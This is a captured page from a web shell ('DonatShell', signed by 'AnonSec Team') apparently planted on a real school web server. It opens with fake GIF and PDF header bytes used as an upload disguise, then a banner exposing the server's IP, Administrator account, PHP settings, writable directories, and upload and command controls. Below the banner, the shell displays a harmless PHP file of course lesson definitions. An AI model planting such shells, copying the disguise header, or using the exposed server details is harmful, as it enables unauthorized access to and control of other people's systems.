GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/CST2146/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/CST2146/LessonDefinition.phpinc
<?
// LessonDefinition.phpinc
// Lesson definition.
$lessonDef = array();
$lessonDef[] = array(); // Blank lessonDef so numbering is human like.
// 01
$lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index.
$lessonDef[$mi][]  = 'title||Class Overview and Setup.';
$lessonDef[$mi][]  = 'action|1|Discuss class procedures and demonstrate <a href="Labs/Lab01/">Lab 1: Class Setup</a>.';
$lessonDef[$mi][]  = 'note|1|Class access.';
$lessonDef[$mi][]  = 'note|1|Class schedule.';
$lessonDef[$mi][]  = 'note|1|Class syllabus.';
$lessonDef[$mi][]  = 'note|1|Class method of delivery.';
$lessonDef[$mi][]  = 'note|1|Class lecture.';
$lessonDef[$mi][]  = 'note|1|Class assignments and evaluations.';
$lessonDef[$mi][]  = 'note|1|<a href="Labs/Lab01/">Lab 1: Class Setup</a> demonstration.
												<ul>
													<li>Demo Apache installation</li>
													<li>Demo PHP installation</li>
													<li>Demo MySQL server installation</li>
													<li>Demo MySQL tools installation</li>
												</ul>';
$lessonDef[$mi][]  = 'evaluation|2|<a href="./?StudentProfile">Student Profile</a>.';
$lessonDef[$mi][]  = 'evaluation|2|<a href="Labs/Lab01/">Lab 1: Class Setup</a>.';
$lessonDef[$mi][]  = 'assignment|2|Read or review Chapter 1 <i>Introduction to PHP</i> in <i>'.$textbook['Title1'].'</i>.';
$lessonDef[$mi][]  = 'assignment|2|Read or review Chapter 2 <i>Programming with PHP</i> in <i>'.$textbook['Title1'].'</i>.';
$lessonDef[$mi][]  = 'assignment|2|Read or review Chapter 3 <i>Creating Dynamic Web Sites</i> in <i>'.$textbook['Title1'].'</i>.';
// 02
$lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index.
$lessonDef[$mi][]  = 'title||Class Setup Assistance.';
$lessonDef[$mi][]  = 'action|1|Help students with <a href="Labs/Lab01/">Lab 1: Class Setup</a>.';
// 03
$lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index.
$lessonDef[$mi][]  = 'title||Authentication Methods.';
$lessonDef[$mi][]  = 'action|1|Discuss authentication methods.';
$lessonDef[$mi][]  = 'note|1|HTTP <a href="http://php.net/manual/en/features.http-auth.php">HTTP authentication with PHP</a>.';
$lessonDef[$mi][]  = 'note|1|OpenID <a href="http://openid.net/">OpenID Foundation</a> <a href="http://janrain.com/openid-enabled/">PHP code</a>.';
$lessonDef[$mi][]  = 'note|1|LDAP <a href="http://php.net/manual/en/function.ldap-bind.php">ldap_bind</a> <a href="https://www.exchangecore.com/blog/how-use-ldap-active-directory-authentication-php/">HOW-TO</a>.';
$lessonDef[$mi][]  = 'note|1|Flat File <a href="http://www.informit.com/articles/article.aspx?p=31690&seqNum=3">Example</a>.';
$lessonDef[$mi][]  = 'note|1|Database <a href="http://www.wikihow.com/Create-a-Secure-Login-Script-in-PHP-and-MySQL">HOT-TO</a>.';
$lessonDef[$mi][]  = 'assignment|2|Read or review Chapter 4 <i>Introduction to MySQL</i> in <i>'.$textbook['Title1'].'</i>.';
$lessonDef[$mi][]  = 'assignment|2|Read or review Chapter 5 <i>Introduction to SQL</i> in <i>'.$textbook['Title1'].'</i>.';
// 04
$lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index.
$lessonDef[$mi][]  = 'title||Authentication Database Design.';
$lessonDef[$mi][]  = 'action|1|Discuss authentication database design.';
$lessonDef[$mi][]  = 'note|1|Tables: user usersite userpermissions user_userpermissions.';
$lessonDef[$mi][]  = 'note|1|<a href="Labs/Lab02/">Lab 2: Authentication Database Design</a>.';
$lessonDef[$mi][]  = 'evaluation|2|<a href="Labs/Lab02/">Lab 2: Authentication Database Design</a>.';
// 05
$lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index.
$lessonDef[$mi][]  = 'title||Authentication Login.';
$lessonDef[$mi][]  = 'action|1|Discuss authentication login.';
$lessonDef[$mi][]  = 'note|1|Login page vs all page login.';
$lessonDef[$mi][]  = 'note|1|Login form.';
$lessonDef[$mi][]  = 'assignment|2|Read Chapter 9 <i>Using PHP with MySQL</i> in <i>'.$textbook['Title1'].'</i>.';
// 06
$lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index.
$lessonDef[$mi][]  = 'title||Final Authentication Tables Design.';
$lessonDef[$mi][]  = 'action|1|Discuss final authentication tables design.';
$lessonDef[$mi][]  = 'note|1|Create the final authentication tables design.';
$lessonDef[$mi][]  = 'note|1|Distribute the final authentication tables design.';
// 07
$lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index.
$lessonDef[$mi][]  = 'title||Using PHP with MySQL.';
$lessonDef[$mi][]  = 'action|1|Discuss connecting to MySQL.';
$lessonDef[$mi][]  = 'action|1|Discuss simple queries.';
$lessonDef[$mi][]  = 'action|1|Discuss query results.';
// 08
$lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index.
$lessonDef[$mi][]  = 'title|Using PHP with MySQL|.';
$lessonDef[$mi][]  = 'action|1|Discuss secure SQL.';
$lessonDef[$mi][]  = 'action|1|Discuss returned records.';
$lessonDef[$mi][]  = 'action|1|Discuss INSERT, UPDATE, and DELETE queries.';
// 09
$lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index.
$lessonDef[$mi][]  = 'title||Authentication Login PHP Script.';
$lessonDef[$mi][]  = 'action|1|Discuss login the script.';
$lessonDef[$mi][]  = 'note|1|Login form.';
$lessonDef[$mi][]  = 'note|1|SESSION variables.';
$lessonDef[$mi][]  = 'note|1|Page authentication.';
$lessonDef[$mi][]  = 'note|1|Discuss assignment and assign source to each student:
												<ol class="olA">
													<li>&nbsp;</li>
													<li>&nbsp;</li>
													<li>&nbsp;</li>
													<li>&nbsp;</li>
													<li>&nbsp;</li>
												</ol>';
$lessonDef[$mi][]  = 'note|1|Discus <a href="Labs/Lab03/">Lab 3: Authentication Login Script</a>.';
$lessonDef[$mi][]  = 'assignment|1|Check out one course scheduling software from:
												<ol>
													<li type="A"><a href="http://sourceforge.net/projects/coursescheduler/">sourceforge Course Scheduler</a>.</li>
													<li type="A"><a href="http://www.mimosasoftware.com/">Mimosa Scheduling Software</a>.</li>
													<li type="A"><a href="http://schedulingstudio.com/">Lantiv Scheduling Studio</a>.</li>
													<li type="A"><a href="http://www.dea.com/solutions/software-solutions/Academic-Scheduling-Software.aspx">ems Academic Scheduling Software</a>.</li>
													<li type="A">Other scheduling software from <a href="http://www.capterra.com/scheduling-software/"></a> or find your own.</li>
												</ol>';
$lessonDef[$mi][]  = 'evaluation|2|<a href="Labs/Lab03/">Lab 3: Authentication Login Script</a>.';
// 10
$lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index.
$lessonDef[$mi][]  = 'title||Class Project Description (Schedule Planner).';
$lessonDef[$mi][]  = 'action|1|Discuss Schedule Planner project.';
$lessonDef[$mi][]  = 'note|1|Class import.';
$lessonDef[$mi][]  = 'note|1|Class conflicts:
												<ul>
													<li>Credential (First year / Second year)</li>
													<li>Instructor</li>
													<li>Room number (Lecture / Recording)</li>
												</ul>';
// 11
$lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index.
$lessonDef[$mi][]  = 'title||Schedule Planner Data Needs and History.';
$lessonDef[$mi][]  = 'action|1|Discuss Schedule Planner data.';
$lessonDef[$mi][]  = 'note|1|Credentials.';
$lessonDef[$mi][]  = 'note|1|Semester plan.';
$lessonDef[$mi][]  = 'note|1|Course prerequisites.';
$lessonDef[$mi][]  = 'note|1|Course priorities.';
$lessonDef[$mi][]  = 'action|2|Discuss Schedule Planner historical data.';
$lessonDef[$mi][]  = 'note|2|Show historical class data.';
// 12
$lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index.
$lessonDef[$mi][]  = 'title||Schedule Planner Database Design.';
$lessonDef[$mi][]  = 'action|1|Discuss database design needs.';
$lessonDef[$mi][]  = 'note|1|Course data.';
$lessonDef[$mi][]  = 'note|1|Credential semester or year plan tagging.';
$lessonDef[$mi][]  = 'note|1|Instructor tagging.';
$lessonDef[$mi][]  = 'note|1|Room tagging.';
$lessonDef[$mi][]  = 'note|1|Table needs.';
$lessonDef[$mi][]  = 'evaluation|3|<a href="Labs/Lab04/">Lab 4: Schedule Planner Database Design</a>.';
// 13
$lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index.
$lessonDef[$mi][]  = 'title||Parsing Data.';
$lessonDef[$mi][]  = 'action|1|Discuss parsing data.';
$lessonDef[$mi][]  = 'note|1|Show historical data.';
$lessonDef[$mi][]  = 'note|1|Token parsing.';
$lessonDef[$mi][]  = 'note|1|Positional parsing.';
$lessonDef[$mi][]  = 'note|1|Determining parsing keys.';
$lessonDef[$mi][]  = 'note|1|How to select a parsing method.';
// 14
$lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index.
$lessonDef[$mi][]  = 'title||Parsing Data.';
$lessonDef[$mi][]  = 'action|1|Discuss parsing methods.';
$lessonDef[$mi][]  = 'note|1|Discuss parsing keys and methods.
												<ul>
													<li>Data line types.</li>
													<li>Parsing method for each line type.</li>
												</ul>';
$lessonDef[$mi][]  = 'note|1|Discuss <a href="Labs/Lab05/">Lab 5: Parsing methods</a>.';
$lessonDef[$mi][]  = 'evaluation|2|<a href="Labs/Lab05/">Lab 5: Parsing methods</a>.';
// 15
$lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index.
$lessonDef[$mi][]  = 'title||Final Schedule Planner Database Design.';
$lessonDef[$mi][]  = 'action|1|Discuss the final Schedule Planner database design.';
$lessonDef[$mi][]  = 'note|1|Tables.';
$lessonDef[$mi][]  = 'note|1|Foreign keys.';
// 16
$lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index.
$lessonDef[$mi][]  = 'title||Data Parsing Script.';
$lessonDef[$mi][]  = 'action|1|Discuss parsing script.';
$lessonDef[$mi][]  = 'note|1|The state method (state table).';
$lessonDef[$mi][]  = 'note|1|Convert parsing methods per line type into a state table.';
// 17
$lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index.
$lessonDef[$mi][]  = 'title||Parsing Data Scripting.';
$lessonDef[$mi][]  = 'action|1|Continue discussing parsing script.';
$lessonDef[$mi][]  = 'note|1|Determine needed scripts.';
$lessonDef[$mi][]  = 'note|1|Assign scripts to student or teams:
												<ol class="olA">
													<li>&nbsp;</li>
													<li>&nbsp;</li>
													<li>&nbsp;</li>
													<li>&nbsp;</li>
													<li>&nbsp;</li>
												</ol>';
$lessonDef[$mi][]  = 'note|1|Discuss <a href="Labs/Lab06/">Lab 6: Parsing script</a>.';
$lessonDef[$mi][]  = 'evaluation|4|<a href="Labs/Lab06/">Lab 6: Parsing script</a>.';
// 18
$lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index.
$lessonDef[$mi][]  = 'title||Schedule Planner Control.';
$lessonDef[$mi][]  = 'action|1|Discuss the Schedule Planner control page.';
$lessonDef[$mi][]  = 'note|1|Needs.';
$lessonDef[$mi][]  = 'note|1|Design.';
$lessonDef[$mi][]  = 'note|1|Controls.';
// 19
$lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index.
$lessonDef[$mi][]  = 'title||Schedule Planner Functions.';
$lessonDef[$mi][]  = 'action|1|Discuss the Schedule Planner functionality.';
$lessonDef[$mi][]  = 'note|1|What functionality is needed?';
$lessonDef[$mi][]  = 'note|1|What pages are needed?';
// 20
$lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index.
$lessonDef[$mi][]  = 'title||Schedule Planner Pages.';
$lessonDef[$mi][]  = 'action|1|Discuss the Schedule Planner Pages.';
$lessonDef[$mi][]  = 'note|1|Finalize needed pages?';
$lessonDef[$mi][]  = 'note|1|Assign pages to student or teams:
												<ol class="olA">
													<li>&nbsp;</li>
													<li>&nbsp;</li>
													<li>&nbsp;</li>
													<li>&nbsp;</li>
													<li>&nbsp;</li>
												</ol>';
$lessonDef[$mi][]  = 'note|1|Discuss <a href="Labs/Lab07/">Lab 7: Schedule Planner Page Design</a>.';
$lessonDef[$mi][]  = 'evaluation|4|<a href="Labs/Lab07/">Lab 7: Schedule Planner Design</a>.';
// 21
$lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index.
$lessonDef[$mi][]  = 'title||Importing Data.';
$lessonDef[$mi][]  = 'action|1|.Discuss importing historical data.';
$lessonDef[$mi][]  = 'note|1|Import control and state table.';
$lessonDef[$mi][]  = 'note|1|Parsing scripts.';
// 22
$lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index.
$lessonDef[$mi][]  = 'title||Import Data.';
$lessonDef[$mi][]  = 'action|1|.Import historical data.';
$lessonDef[$mi][]  = 'note|1|Demo data import.';
$lessonDef[$mi][]  = 'note|1|Demo data entries.';
// 23
$lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index.
$lessonDef[$mi][]  = 'title||Schedule Planner Final Pages.';
$lessonDef[$mi][]  = 'action|1|Discuss Schedule Planner final pages.';
$lessonDef[$mi][]  = 'note|1|Overview of page submissions.';
$lessonDef[$mi][]  = 'note|1|Discuss <a href="Labs/Lab08/">Lab 8: Schedule Planner Final Pages</a>.';
$lessonDef[$mi][]  = 'evaluation|4|<a href="Labs/Lab08/">Lab 8: Schedule Planner Final Pages</a>.';
// 24
$lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index.
$lessonDef[$mi][]  = 'title||New Schedule.';
$lessonDef[$mi][]  = 'action|1|Discuss bring historical data forward.';
$lessonDef[$mi][]  = 'note|1|Demo historical data.';
$lessonDef[$mi][]  = 'note|1|Copy historical data to new schedule.';
$lessonDef[$mi][]  = 'note|1|Discuss editing the new schedule.';
// 25
$lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index.
$lessonDef[$mi][]  = 'title||Website Development.';
$lessonDef[$mi][]  = 'action|1|Discuss website development.';
$lessonDef[$mi][]  = 'note|1|Local development.';
$lessonDef[$mi][]  = 'note|1|Development site.
												<ul>
													<li>Site setup.</li>
													<li>Uploading files to the site.</li>
													<li>File controls.</li>
												</ul>';
$lessonDef[$mi][]  = 'note|1|Testing site.
												<ul>
													<li>Site setup.</li>
													<li>Managing the site update.</li>
													<li>Uploading files to the site.</li>
												</ul>';
$lessonDef[$mi][]  = 'note|1|Production site.
												<ul>
													<li>Site setup.</li>
													<li>Managing the site update.</li>
													<li>Uploading files to the site.</li>
												</ul>';
// 26
$lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index.
$lessonDef[$mi][]  = 'title||Development site setup.';
$lessonDef[$mi][]  = 'action|1|Setup the development site.';
$lessonDef[$mi][]  = 'note|1|Demo development site setup.';
$lessonDef[$mi][]  = 'note|1|Demo development site functionality.';
$lessonDef[$mi][]  = 'note|1|Setup student access to the site.';
// 27
$lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index.
$lessonDef[$mi][]  = 'title||Schedule Planner Site.';
$lessonDef[$mi][]  = 'action|1|Discuss the Schedule Planner site.';
$lessonDef[$mi][]  = 'note|1|Demo site page code.';
$lessonDef[$mi][]  = 'note|1|Upload site.';
$lessonDef[$mi][]  = 'note|1|Upload site.';
$lessonDef[$mi][]  = 'action|1|Test the Schedule Planner site.';
$lessonDef[$mi][]  = 'action|2|Discuss <a href="Labs/Lab09/">Lab 9: Schedule Planner Testing</a>.';
$lessonDef[$mi][]  = 'note|2|Assign pages to test to students or teams:
												<ol class="olA">
													<li>&nbsp;</li>
													<li>&nbsp;</li>
													<li>&nbsp;</li>
													<li>&nbsp;</li>
													<li>&nbsp;</li>
												</ol>';
$lessonDef[$mi][]  = 'assignment|1|Download the development site files.';
$lessonDef[$mi][]  = 'evaluation|1|<a href="Labs/Lab09/">Lab 9: Schedule Planner Testing</a>.';
// 28
$lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index.
$lessonDef[$mi][]  = 'title||Debug site.';
$lessonDef[$mi][]  = 'action|1|Test the Schedule Planner site.';
$lessonDef[$mi][]  = 'action|2|Discuss<a href="Labs/Lab10/">Lab 10: Schedule Planner Debugging</a>.';
$lessonDef[$mi][]  = 'note|2|Assign pages to debug to students or teams:
												<ol class="olA">
													<li>&nbsp;</li>
													<li>&nbsp;</li>
													<li>&nbsp;</li>
													<li>&nbsp;</li>
													<li>&nbsp;</li>
												</ol>';
$lessonDef[$mi][]  = 'evaluation|2|<a href="Labs/Lab10/">Lab 10: Schedule Planner Debugging</a>.';
// 29
$lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index.
$lessonDef[$mi][]  = 'title||Final site test.';
$lessonDef[$mi][]  = 'action|1|Final testing and debugging of the Schedule Planner site.';
// 30
$lessonDef[] = array(); $mi = count($lessonDef) - 1; // Begin a new lesson definition and get the index.
$lessonDef[$mi][]  = 'title||Final Site Review.';
$lessonDef[$mi][]  = 'action|1|Review the final site.';
?>

Anon7 - 2022
AnonSec Team